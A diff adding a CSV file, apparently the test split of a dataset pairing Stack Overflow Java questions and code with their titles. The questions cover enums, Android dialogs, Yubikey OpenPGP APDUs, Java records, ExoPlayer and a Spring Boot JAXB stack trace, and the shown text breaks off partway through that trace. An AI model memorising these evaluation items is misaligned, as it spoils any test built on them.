diff --git "a/test_Java.csv" "b/test_Java.csv" new file mode 100644--- /dev/null +++ "b/test_Java.csv" @@ -0,0 +1,5001 @@ +lang,desc,code,title +Java,"I 'm trying to do this . I have an enum of week days . I have used enum since weekdays are constantand I have a class , called Session . A session is simply what is going on at a particular time e.g . a maths classThere is a third class , called Venue . Venues host the sessions , e.g . the maths class can be from 9am to 10am , at a venue called `` maths-class '' ( an example ) What I need to do is this - create a list of sessions in the enum i.e . each day has its sessions , and then I need to hold the enums in a structure ( an ArrayList or enumset ? ) within a venue i.e . a venue has sessions from Monday to Friday ( ideally school classes ) . So it will be something like this : So that in the venue , we can have : And here are my questions : Can I nest the Session class within an enum ? Can an enum accept arraylists ? What is the best structure to hold the enums with their sessions inside the venue ? Any better ideas for this ? Someone just told me that I 'll be passing the same day to all venues regardless e.g . MONDAY is MONDAY for all venues , its list will be updated by every venue . So I think that 's the end of discussion even though nobody commented .","public enum WeekDay { MONDAY , TUESDAY , WEDNESDAY , THURSDAY , FRIDAY ; } public class Session { // some fields public String title ; public int duration , start , end ; /** several methods follow to get and set , and check e.t.c **/ } public class Venue { // simply a place that can hold several sessions in a day private String name ; private int capacity ; /** several methods**/ } public enum WeekDay { MONDAY , TUESDAY , WEDNESDAY , THURSDAY , FRIDAY ; /** the list of sessions for a given day**/ private ArrayList < Session > list ; private int numOfSessions ; // number of sessions /** with some methods like **/ addSession ( ) ; removeSession ( ) ; getSession ( ) ; checkTimeOfSession ( ) ; ... } public class Venue { private String name ; private int capacity ; private ? < WeekDay > list ; //structure to hold days , i do n't know which one to use yet /** several methods like **/ numOfSessionsOn ( ) ; getSessionsOn ( ) ; addSessionOn ( ) ; removeSessionOn ( ) ; ... }","Can i nest classes within enums , and create arraylist within an enum ?" +Java,"I 'm trying to set a 10 minute interval in the android DialogFragment ( suggested by google ) , but I really ca n't find a way to do it.Here is the fragment class wich shows the dialog : Everything works as expected , but what I need is to allow the user to pick only intervals of 10 minutes - for example 1:10 , 1:20 , 1:30 , 1:40 etc ... Is it possible to modify it , or extend it somehow in order to fit my needs ? I know that I 'm missing a basic point here , but as a newbie I 'm not able to spot it.EDITHere my views are :","public class TimePickerFragment extends DialogFragment implements TimePickerDialog.OnTimeSetListener { @ Override public Dialog onCreateDialog ( Bundle savedInstanceState ) { // Use the current time as the default values for the picker final Calendar c = Calendar.getInstance ( ) ; int hour = c.get ( Calendar.HOUR_OF_DAY ) ; int minute = c.get ( Calendar.MINUTE ) ; // Create a new instance of TimePickerDialog and return it return new TimePickerDialog ( getActivity ( ) , this , hour , minute , DateFormat.is24HourFormat ( getActivity ( ) ) ) ; } public void onTimeSet ( TimePicker view , int hourOfDay , int minute ) { String realMinute= `` '' ; switch ( minute ) { case 1 : realMinute = `` 01 '' ; break ; case 2 : realMinute = `` 02 '' ; break ; case 3 : realMinute = `` 03 '' ; break ; case 4 : realMinute = `` 04 '' ; break ; case 5 : realMinute = `` 05 '' ; break ; case 6 : realMinute = `` 06 '' ; break ; case 7 : realMinute = `` 07 '' ; break ; case 8 : realMinute = `` 08 '' ; break ; case 9 : realMinute = `` 09 '' ; break ; default : realMinute = String.valueOf ( minute ) ; break ; } final String selectedDate = String.valueOf ( hourOfDay ) + `` : '' + realMinute ; EditText selectedTimeTxt = ( EditText ) getActivity ( ) .findViewById ( R.id.selectedTime ) ; selectedTimeTxt.setText ( selectedDate ) ; }",How can I set a minute interval in DialogFragment +Java,"I 'm trying to implement PGP encryption based on Yubikey NEO OpenPGP Smart Card applet in a Java application . It seems to be a dark art and is not easy to google this stuff but here is where I got so far : The card is initialized , keys are generated using gpg tool . It generally works . I have my public key in .asc format and managed to load it into org.bouncycastle.openpgpConnect to the smart card in the USB dongle using javax.smartcardio APIs.Select the OpenPGP appletSuccessfully present the right PIN to the cardSend a quasi-successful ( see below ) decipher commandWhen data = `` xxxx '' .toByteArray ( ) , the result is SW=9000 ( = success ) but no data is returned . It 's a naive test because the OpenPGP applet documentation on page 52 mentions that the command input ( except padding indicator byte ) shall be formatted according to PKCS # 1 before encryption.I have no idea how to encrypt the data and get it into PKCS # 1 format.I also tried reading through Yubico OpenPGP card implementation tests but it only provides another `` failing '' example ( line 196 ) . I tried running that but the result is different : the test expects SW=0050 ( indicating an exception ? ) and what I get is SW=6f00 ( No precise diagnosis , according to this document ) .I created a GitHub repository with the entire code . It 's written in Kotlin but should be easy to read .","val pgpAID = bytes ( 0xD2 , 0x76 , 0x00 , 0x01 , 0x24 , 0x01 ) val answer = cardChannel.transmit ( CommandAPDU ( 0x00 , 0xA4 , 0x04 , 0x00 , pgpAID ) ) val pin = `` 123456 '' return bytes ( 0x00 , 0x20 , 0x00 , 0x82 , pin.length ) + pin.toByteArray ( Charsets.UTF_8 ) bytes ( 0x00 , 0x2a , 0x80 , 0x86 , data.size ) + data + bytes ( 0x00 )",PGP data encryption for use with Yubico OpenPGP Smart Card +Java,"This is a followup to my question here : Android thread runnable performanceI 'm having some difficulty wrapping my head around synchronized methods for my appI 'm polling the sensors and storing the sensor values into arrays whenever they changeEvery 10ms , my app will take the current sensor values ( from the arrays ) and insert them into a database using a single thread executor . So the onSensorChanged method is both writing to the arrays , and reading from the arrays to write to databaseMy question is , should the onSensorChanged method be synchronized ? The most important thing is that I do n't miss any data . Every 10ms I need to store the current sensor values - none can be missed.So to my understanding , a synchronized method means that the UI thread will hold a lock , and it will write the sensor values to the arrays . During this time , the executor thread can not read from those arrays due to the lock . Then the lock is lifted and the executor thread then locks , reads from arrays , and write to database , releases lockI might be misunderstanding the use of synchronized methods here , especially given onSensorChanged is event driven and I 'm not sure how that plays into itBut it seems that in a situation like this , I might not be inserting the most recent values every 10ms . When the UI thread establishes a lock , the executor thread ca n't write those values to the database . By the time the executor thread can write , the values would now be a few ms old and inaccurateOn the other hand , synchronization would mean that I dont have situations where the UI thread is changing the array values , while at the same time the executor thread is insert half changed values into the databaseSo for this type of situation where I need to insert the most recent/accurate sensor data every 10ms , should I be using a synchronized method ?",float [ ] accelerometerMatrix = new float [ 3 ] ; float [ ] accelerometerWorldMatrix = new float [ 3 ] ; float [ ] gyroscopeMatrix = new float [ 3 ] ; float [ ] gravityMatrix = new float [ 3 ] ; float [ ] magneticMatrix = new float [ 3 ] ; float [ ] rotationMatrix = new float [ 9 ] ; class InsertHandler implements Runnable { public void run ( ) { //get values from arrays and insert into db } } public void onSensorChanged ( SensorEvent event ) { sensor = event.sensor ; int i = sensor.getType ( ) ; if ( i == MainActivity.TYPE_ACCELEROMETER ) { accelerometerMatrix = event.values ; } else if ( i == MainActivity.TYPE_GYROSCOPE ) { gyroscopeMatrix = event.values ; } else if ( i == MainActivity.TYPE_GRAVITY ) { gravityMatrix = event.values ; } else if ( i == MainActivity.TYPE_MAGNETIC ) { magneticMatrix = event.values ; } long curTime = System.currentTimeMillis ( ) ; long diffTime = ( curTime - lastUpdate ) ; // only allow one update every POLL_FREQUENCY . if ( diffTime > POLL_FREQUENCY ) { lastUpdate = curTime ; //insert into database in background thread executor.execute ( insertHandler ) ; } },Android synchronized onSensorChanged ? +Java,"Is there ever a case where these two methods would return different values given the same inputs ? By the same token , is it true ( or false ) that any number storable in a java 's Float can be stored in a java 's Double without losing any precision ? Thanks","int compare1 ( float a , float b ) { return Double.compare ( a , b ) ; } int compare2 ( float a , float b ) { return Float.compare ( a , b ) ; }",float vs double ( in Java ) +Java,"I have below two situations related to ArrayList get method , one with custom class and one with String class : 1 . Below is the example of modifying Custom class ArrayList element:2 . And below is the example of modifying String ArrayList element : So in case of MyClass ArrayList , when I call get and modify the value , then I see change is reflecting when I do get again . But same way when I modify String ArrayList , then changes are not reflecting . What is the different in of the get method in both the scenarios ? Is it that in case of String , String class creating deep copy and returns new object , and in case of Custom class shallow copy is created ? In the first scenario applicable to `` LinkedHashMap '' , `` HashMap '' and `` List '' ?","ArrayList < MyClass > mTmpArray1 = new ArrayList < MyClass > ( ) ; MyClass myObj1 = new MyClass ( 10 ) ; mTmpArray1.add ( myObj1 ) ; MyClass myObj2 = mTmpArray1.get ( 0 ) ; myObj2.myInt = 20 ; MyClass myObj3 = mTmpArray1.get ( 0 ) ; Log.d ( TAG , `` Int Value : '' +myObj3.myInt ) ; // Prints `` 20 '' ArrayList < String > mTmpArray2 = new ArrayList < String > ( ) ; mTmpArray2.add ( `` Test_10 '' ) ; String myStr1 = mTmpArray2.get ( 0 ) ; myStr1 = `` Test_20 '' ; String myStr2 = mTmpArray2.get ( 0 ) ; Log.d ( TAG , `` Str Value : '' +myStr2 ) ; // Prints `` Test_10 ''",ArrayList modifying value returned by `` get '' method +Java,"I am reading the documentation of Recordsand do n't understand the term `` shallowly immutable '' . What do we mean by shallowly immutable ? And if it 's immutable why we need a copy constructor ? Why two `` Hello Worlds ! `` ? For all record classes , the following invariant must hold : if a record R 's components are c1 , c2 , ... cn , then if a record instance is copied as follows : then it must be the case that r.equals ( copy ) .","R copy = new R ( r.c1 ( ) , r.c2 ( ) , ... , r.cn ( ) ) ; // copy constructor ?",Meaning of `` shallowly immutable '' in the documentation of Record in Java 14 +Java,"I know that exoplayer has support for RTSP , but I need C++ code that works on players from lots of OSs , so I need to parse the RTP packet in C++ to NAL units before passing to exoplayerI found a way to decode RTP packets using live555 and extract its NAL units . According to ExoPlayer 's documentation : Components common to all ExoPlayer implementations are : A MediaSource that defines the media to be played , loads the media , and from which the loaded media can be read.A MediaSource isinjected via ExoPlayer.prepare at the start of playback . ... So I need a custom MediaSource that can extract NAL units from my C++ code.At the class reference for MediaSource we can see that there are already some MediaSources available . I though maybe SmoothStreaming MediaSource could work but there 's no description of what it does exactly and in its constructor I have to provide an Uri or an SsManifest ( what ) .I can see that there exists a NAL unit utility in this library so maybe things are already half doneSo how to build or use an already available MediaSource to read NAL units for ExoPlayer to play ? As an additinal , how would you pass the NAL units from C++ to Java ? In the code I found it 's simply storing them in a C++ buffer . Should I read this buffer in Java somehow ? UPDATE : I 've been researching how this library works . It all begins with a MediaSource which have objects like Extractor and DataSource . Seems that ExtractorMediaSource is a MediaSource where you can provide your own Extractor and DataSource.As I understood , DataSource is a class that gets the raw bytes from any possible place , be it a file read or a network packet . Based on the available Extractor classes on the library like Mp4Extractor and Mp3Extractor , an Extractor is something that will interpret the data read from DataSource . The two main methods from the Extractor interface are : I do n't know what are ExtractorInput and ExtractorInput for , but they look important.So somehow Extractor reads from DataSource , parses it and sends to Renderer in a common format ? I need to know how is this common format so I can parse the NAL units that I read from a custom DataSource .","void init ( ExtractorOutput output ) int read ( ExtractorInput input , PositionHolder seekPosition )",How to play raw NAL units in Android exoplayer ? +Java,"I have this very basic piece of code and Eclipse gives me the `` potential null pointer access '' warning/error.As you can see in the example , the compiler knows that inside the first if statement , nullableString ca n't be null . However , in the second it does n't and I really would n't have thought this would be too tough to figure out.Can someone please confirm that this is not specific to my system/setup ? I know , I could suppress warnings etc . but I 'm really wondering whether this might be a bug . Or am I overlooking something ? Another question about this seems to address a much more complex situation so I hope it 's ok I 'm asking again .",public class PotentialNull { public void test ( final String nullableString ) { boolean isNotNull = nullableString ! = null ; if ( nullableString ! = null ) { // No problem System.out.print ( nullableString.hashCode ( ) ) ; } if ( isNotNull ) { // Potential null pointer access : The variable nullable may be null at this location System.out.print ( nullableString.hashCode ( ) ) ; } } },Potential null pointer access in Eclipse - seemingly trivial example +Java,"My list contains sets like [ 1,3,5 ] [ 2,6,4 ] etc , all of the same size.I tried doing this but it does n't seem to work.The end result I want is [ 1,2,3 ] [ 4,5,6 ] .I could try to add all the elements in an ArrayList and sort that out then make a new List of TreeSet 's . But is there is some kind of one liner ? UPDATE : This works but could this be simplified ?","List < TreeSet < T > > block ; for ( TreeSet < T > t : block ) { block.stream ( ) .sorted ( ( n , m ) - > n.compareTo ( m ) ) .collect ( Collectors.toSet ( ) ) ; } List < T > list=new ArrayList < T > ( ) ; for ( TreeSet < T > t : block ) { for ( T t1 : t ) { list.add ( t1 ) ; } } list=list.stream ( ) .sorted ( ( n , m ) - > n.compareTo ( m ) ) .collect ( Collectors.toList ( ) ) ;",How do I sort a List of TreeSets with java8 streams +Java,"I need to generate character sequences that increment , where each character can be of a different letter or number range . Does anyone know of a library that does such a task ? For example : Where A 's are any letter A-Z , and 0 's are any number 0-9 . I need to increment them as well , so for example : And if you keep going it would carry over like this : Until it reached :",AAA000_A0 AAA000_A0++ = AAA000_A1 AAA000_A9++ = AAA000_B0 ZZZ999_Z9,Java library for character sequence generator +Java,"I 've used an anon inner class to get a button obj : I want to use this in an arbitrarily sized GWT FlexTable ( which is basically an auto re-sizing table ) .if i do something like this : The button only shows up for the latter one ( since there is only one instance ) . Since the table above will be populated programatically , its not really practical to define a new button for each possible instance.I tried this the following : However , this wo n't compile at all ( the first ; I guess ) , I 'm a bit lost - how can I accomplish this effect ? Thanks","Button modButton = new Button ( `` Modify '' ) ; modButton.addClickHandler ( new ClickHandler ( ) { @ Override public void onClick ( ClickEvent event ) { //TODO : link to a pop-up , and do a refresh on exit } } ) ; currentTable.setText ( 3 , 0 , `` elec3 '' ) ; currentTable.setWidget ( 3 , 2 , modButton ) ; currentTable.setText ( 4 , 0 , `` elec4 '' ) ; currentTable.setWidget ( 4 , 2 , modButton ) ; currentTable.setText ( 4 , 0 , `` elec4 '' ) ; currentTable.setWidget ( 4 , 2 , new Button ( `` Modify '' ) ; modButton.addClickHandler ( new ClickHandler ( ) { @ Override public void onClick ( ClickEvent event ) { //TODO : link to a pop-up , and do a refresh on exit } } ) ; ) ;",( nested ? ) anonymous inner classes for buttons +Java,"I am using the SPRING INITIALIZR with these settings : JavaMaven2.0.0 ( SNAPSHOT ) JarWebJPAH2ThymeleafActuatorEvery single time I try to run ./mvnw spring-boot : run it fails with this error . Not sure what 's going wrong . I have tried using other project variations in spring initializr and deleting all my maven repos using mvn dependency : purge-local-repository . The rebuild is successful , but when I try to start Spring , this problem comes up .",". ____ _ __ _ _ /\\ / ___ ' _ __ _ _ ( _ ) _ __ __ _ \ \ \ \ ( ( ) \___ | ' _ | ' _| | ' _ \/ _ ` | \ \ \ \ \\/ ___ ) | |_ ) | | | | | || ( _| | ) ) ) ) ' |____| .__|_| |_|_| |_\__ , | / / / / =========|_|==============|___/=/_/_/_/ : : Spring Boot : : ( v2.0.0.BUILD-SNAPSHOT ) 2017-10-20 14:02:15.099 INFO 11891 -- - [ main ] c.e.c.s.Spring5webappApplication : Starting Spring5webappApplication on Clements-MacBook-Pro.local with PID 11891 ( /Users/clement/Downloads/spring5webapp/target/classes started by clement in /Users/clement/Downloads/spring5webapp ) 2017-10-20 14:02:15.101 INFO 11891 -- - [ main ] c.e.c.s.Spring5webappApplication : No active profile set , falling back to default profiles : default2017-10-20 14:02:15.157 INFO 11891 -- - [ main ] ConfigServletWebServerApplicationContext : Refreshing org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext @ 5184cd62 : startup date [ Fri Oct 20 14:02:15 NZDT 2017 ] ; root of context hierarchyWARNING : An illegal reflective access operation has occurredWARNING : Illegal reflective access by org.springframework.cglib.core.ReflectUtils $ 1 ( file : /Users/clement/.m2/repository/org/springframework/spring-core/5.0.1.BUILD-SNAPSHOT/spring-core-5.0.1.BUILD-SNAPSHOT.jar ) to method java.lang.ClassLoader.defineClass ( java.lang.String , byte [ ] , int , int , java.security.ProtectionDomain ) WARNING : Please consider reporting this to the maintainers of org.springframework.cglib.core.ReflectUtils $ 1WARNING : Use -- illegal-access=warn to enable warnings of further illegal reflective access operationsWARNING : All illegal access operations will be denied in a future release2017-10-20 14:02:16.592 INFO 11891 -- - [ main ] trationDelegate $ BeanPostProcessorChecker : Bean 'org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration ' of type [ org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration $ $ EnhancerBySpringCGLIB $ $ c4da628 ] is not eligible for getting processed by all BeanPostProcessors ( for example : not eligible for auto-proxying ) 2017-10-20 14:02:17.250 INFO 11891 -- - [ main ] o.s.b.w.embedded.tomcat.TomcatWebServer : Tomcat initialized with port ( s ) : 8080 ( http ) 2017-10-20 14:02:17.264 INFO 11891 -- - [ main ] o.apache.catalina.core.StandardService : Starting service [ Tomcat ] 2017-10-20 14:02:17.265 INFO 11891 -- - [ main ] org.apache.catalina.core.StandardEngine : Starting Servlet Engine : Apache Tomcat/8.5.232017-10-20 14:02:17.361 INFO 11891 -- - [ ost-startStop-1 ] o.a.c.c.C. [ Tomcat ] . [ localhost ] . [ / ] : Initializing Spring embedded WebApplicationContext2017-10-20 14:02:17.361 INFO 11891 -- - [ ost-startStop-1 ] o.s.web.context.ContextLoader : Root WebApplicationContext : initialization completed in 2209 ms2017-10-20 14:02:17.517 INFO 11891 -- - [ ost-startStop-1 ] o.s.b.w.servlet.ServletRegistrationBean : Mapping servlet : 'dispatcherServlet ' to [ / ] 2017-10-20 14:02:17.522 INFO 11891 -- - [ ost-startStop-1 ] o.s.b.w.servlet.FilterRegistrationBean : Mapping filter : 'characterEncodingFilter ' to : [ /* ] 2017-10-20 14:02:17.522 INFO 11891 -- - [ ost-startStop-1 ] o.s.b.w.servlet.FilterRegistrationBean : Mapping filter : 'hiddenHttpMethodFilter ' to : [ /* ] 2017-10-20 14:02:17.522 INFO 11891 -- - [ ost-startStop-1 ] o.s.b.w.servlet.FilterRegistrationBean : Mapping filter : 'httpPutFormContentFilter ' to : [ /* ] 2017-10-20 14:02:17.522 INFO 11891 -- - [ ost-startStop-1 ] o.s.b.w.servlet.FilterRegistrationBean : Mapping filter : 'requestContextFilter ' to : [ /* ] 2017-10-20 14:02:17.522 INFO 11891 -- - [ ost-startStop-1 ] o.s.b.w.servlet.FilterRegistrationBean : Mapping filter : 'webRequestLoggingFilter ' to : [ /* ] 2017-10-20 14:02:17.743 INFO 11891 -- - [ main ] com.zaxxer.hikari.HikariDataSource : testdb - Starting ... 2017-10-20 14:02:17.875 INFO 11891 -- - [ main ] com.zaxxer.hikari.HikariDataSource : testdb - Start completed.2017-10-20 14:02:17.942 INFO 11891 -- - [ main ] j.LocalContainerEntityManagerFactoryBean : Building JPA container EntityManagerFactory for persistence unit 'default'2017-10-20 14:02:17.968 INFO 11891 -- - [ main ] o.hibernate.jpa.internal.util.LogHelper : HHH000204 : Processing PersistenceUnitInfo [ name : default ... ] 2017-10-20 14:02:18.073 INFO 11891 -- - [ main ] org.hibernate.Version : HHH000412 : Hibernate Core { 5.2.11.Final } 2017-10-20 14:02:18.074 INFO 11891 -- - [ main ] org.hibernate.cfg.Environment : HHH000206 : hibernate.properties not found2017-10-20 14:02:18.094 WARN 11891 -- - [ main ] ConfigServletWebServerApplicationContext : Exception encountered during context initialization - cancelling refresh attempt : org.springframework.beans.factory.BeanCreationException : Error creating bean with name 'entityManagerFactory ' defined in class path resource [ org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.class ] : Invocation of init method failed ; nested exception is java.lang.NoClassDefFoundError : javax/xml/bind/JAXBException2017-10-20 14:02:18.095 INFO 11891 -- - [ main ] com.zaxxer.hikari.HikariDataSource : testdb - Shutdown initiated ... 2017-10-20 14:02:18.100 INFO 11891 -- - [ main ] com.zaxxer.hikari.HikariDataSource : testdb - Shutdown completed.2017-10-20 14:02:18.102 INFO 11891 -- - [ main ] o.apache.catalina.core.StandardService : Stopping service [ Tomcat ] 2017-10-20 14:02:18.122 INFO 11891 -- - [ main ] utoConfigurationReportLoggingInitializer : Error starting ApplicationContext . To display the auto-configuration report re-run your application with 'debug ' enabled.2017-10-20 14:02:18.129 ERROR 11891 -- - [ main ] o.s.boot.SpringApplication : Application startup failedorg.springframework.beans.factory.BeanCreationException : Error creating bean with name 'entityManagerFactory ' defined in class path resource [ org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.class ] : Invocation of init method failed ; nested exception is java.lang.NoClassDefFoundError : javax/xml/bind/JAXBException at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean ( AbstractAutowireCapableBeanFactory.java:1704 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:583 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:502 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.AbstractBeanFactory.lambda $ doGetBean $ 0 ( AbstractBeanFactory.java:312 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:228 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:310 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:200 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.context.support.AbstractApplicationContext.getBean ( AbstractApplicationContext.java:1083 ) ~ [ spring-context-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:858 ) ~ [ spring-context-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:549 ) ~ [ spring-context-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh ( ServletWebServerApplicationContext.java:122 ) ~ [ spring-boot-2.0.0.BUILD-SNAPSHOT.jar:2.0.0.BUILD-SNAPSHOT ] at org.springframework.boot.SpringApplication.refresh ( SpringApplication.java:750 ) [ spring-boot-2.0.0.BUILD-SNAPSHOT.jar:2.0.0.BUILD-SNAPSHOT ] at org.springframework.boot.SpringApplication.refreshContext ( SpringApplication.java:386 ) [ spring-boot-2.0.0.BUILD-SNAPSHOT.jar:2.0.0.BUILD-SNAPSHOT ] at org.springframework.boot.SpringApplication.run ( SpringApplication.java:327 ) [ spring-boot-2.0.0.BUILD-SNAPSHOT.jar:2.0.0.BUILD-SNAPSHOT ] at org.springframework.boot.SpringApplication.run ( SpringApplication.java:1245 ) [ spring-boot-2.0.0.BUILD-SNAPSHOT.jar:2.0.0.BUILD-SNAPSHOT ] at org.springframework.boot.SpringApplication.run ( SpringApplication.java:1233 ) [ spring-boot-2.0.0.BUILD-SNAPSHOT.jar:2.0.0.BUILD-SNAPSHOT ] at com.example.clement.spring5webapp.Spring5webappApplication.main ( Spring5webappApplication.java:10 ) [ classes/ : na ] at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) ~ [ na : na ] at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) ~ [ na : na ] at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) ~ [ na : na ] at java.base/java.lang.reflect.Method.invoke ( Method.java:564 ) ~ [ na : na ] at org.springframework.boot.maven.AbstractRunMojo $ LaunchRunner.run ( AbstractRunMojo.java:496 ) [ spring-boot-maven-plugin-2.0.0.BUILD-SNAPSHOT.jar:2.0.0.BUILD-SNAPSHOT ] at java.base/java.lang.Thread.run ( Thread.java:844 ) [ na : na ] Caused by : java.lang.NoClassDefFoundError : javax/xml/bind/JAXBException at org.hibernate.boot.spi.XmlMappingBinderAccess. < init > ( XmlMappingBinderAccess.java:43 ) ~ [ hibernate-core-5.2.11.Final.jar:5.2.11.Final ] at org.hibernate.boot.MetadataSources. < init > ( MetadataSources.java:87 ) ~ [ hibernate-core-5.2.11.Final.jar:5.2.11.Final ] at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl. < init > ( EntityManagerFactoryBuilderImpl.java:208 ) ~ [ hibernate-core-5.2.11.Final.jar:5.2.11.Final ] at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl. < init > ( EntityManagerFactoryBuilderImpl.java:163 ) ~ [ hibernate-core-5.2.11.Final.jar:5.2.11.Final ] at org.springframework.orm.jpa.vendor.SpringHibernateJpaPersistenceProvider.createContainerEntityManagerFactory ( SpringHibernateJpaPersistenceProvider.java:51 ) ~ [ spring-orm-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean.createNativeEntityManagerFactory ( LocalContainerEntityManagerFactoryBean.java:358 ) ~ [ spring-orm-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.buildNativeEntityManagerFactory ( AbstractEntityManagerFactoryBean.java:384 ) ~ [ spring-orm-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.orm.jpa.AbstractEntityManagerFactoryBean.afterPropertiesSet ( AbstractEntityManagerFactoryBean.java:373 ) ~ [ spring-orm-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.invokeInitMethods ( AbstractAutowireCapableBeanFactory.java:1763 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean ( AbstractAutowireCapableBeanFactory.java:1700 ) ~ [ spring-beans-5.0.1.BUILD-SNAPSHOT.jar:5.0.1.BUILD-SNAPSHOT ] ... 22 common frames omittedCaused by : java.lang.ClassNotFoundException : javax.xml.bind.JAXBException at java.base/java.net.URLClassLoader.findClass ( URLClassLoader.java:466 ) ~ [ na : na ] at java.base/java.lang.ClassLoader.loadClass ( ClassLoader.java:563 ) ~ [ na : na ] at java.base/java.lang.ClassLoader.loadClass ( ClassLoader.java:496 ) ~ [ na : na ] ... 32 common frames omitted [ WARNING ] java.lang.reflect.InvocationTargetException at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.base/java.lang.reflect.Method.invoke ( Method.java:564 ) at org.springframework.boot.maven.AbstractRunMojo $ LaunchRunner.run ( AbstractRunMojo.java:496 ) at java.base/java.lang.Thread.run ( Thread.java:844 ) Caused by : org.springframework.beans.factory.BeanCreationException : Error creating bean with name 'entityManagerFactory ' defined in class path resource [ org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaConfiguration.class ] : Invocation of init method failed ; nested exception is java.lang.NoClassDefFoundError : javax/xml/bind/JAXBException at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.initializeBean ( AbstractAutowireCapableBeanFactory.java:1704 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:583 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:502 ) at org.springframework.beans.factory.support.AbstractBeanFactory.lambda $ doGetBean $ 0 ( AbstractBeanFactory.java:312 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:228 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:310 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:200 ) at org.springframework.context.support.AbstractApplicationContext.getBean ( AbstractApplicationContext.java:1083 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:858 ) at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:549 ) at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh ( ServletWebServerApplicationContext.java:122 ) at org.springframework.boot.SpringApplication.refresh ( SpringApplication.java:750 ) at org.springframework.boot.SpringApplication.refreshContext ( SpringApplication.java:386 ) at org.springframework.boot.SpringApplication.run ( SpringApplication.java:327 ) at org.springframework.boot.SpringApplication.run ( SpringApplication.java:1245 ) at org.springframework.boot.SpringApplication.run ( SpringApplication.java:1233 ) at com.example.clement.spring5webapp.Spring5webappApplication.main ( Spring5webappApplication.java:10 ) ... 6 moreCaused by : java.lang.NoClassDefFoundError : javax/xml/bind/JAXBException at org.hibernate.boot.spi.XmlMappingBinderAccess. < init > ( XmlMappingBinderAccess.java:43 ) at org.hibernate.boot.MetadataSources. < init > ( MetadataSources.java:87 ) at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl. < init > ( EntityManagerFactoryBuilderImpl.java:208 ) at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl. < init > ( EntityManagerFactoryBuilderImpl.java:163 ) at org.springframework.orm.jpa.vendor.SpringHibernateJpaPersistenceProvider.createContainerEntityManagerFactory ( 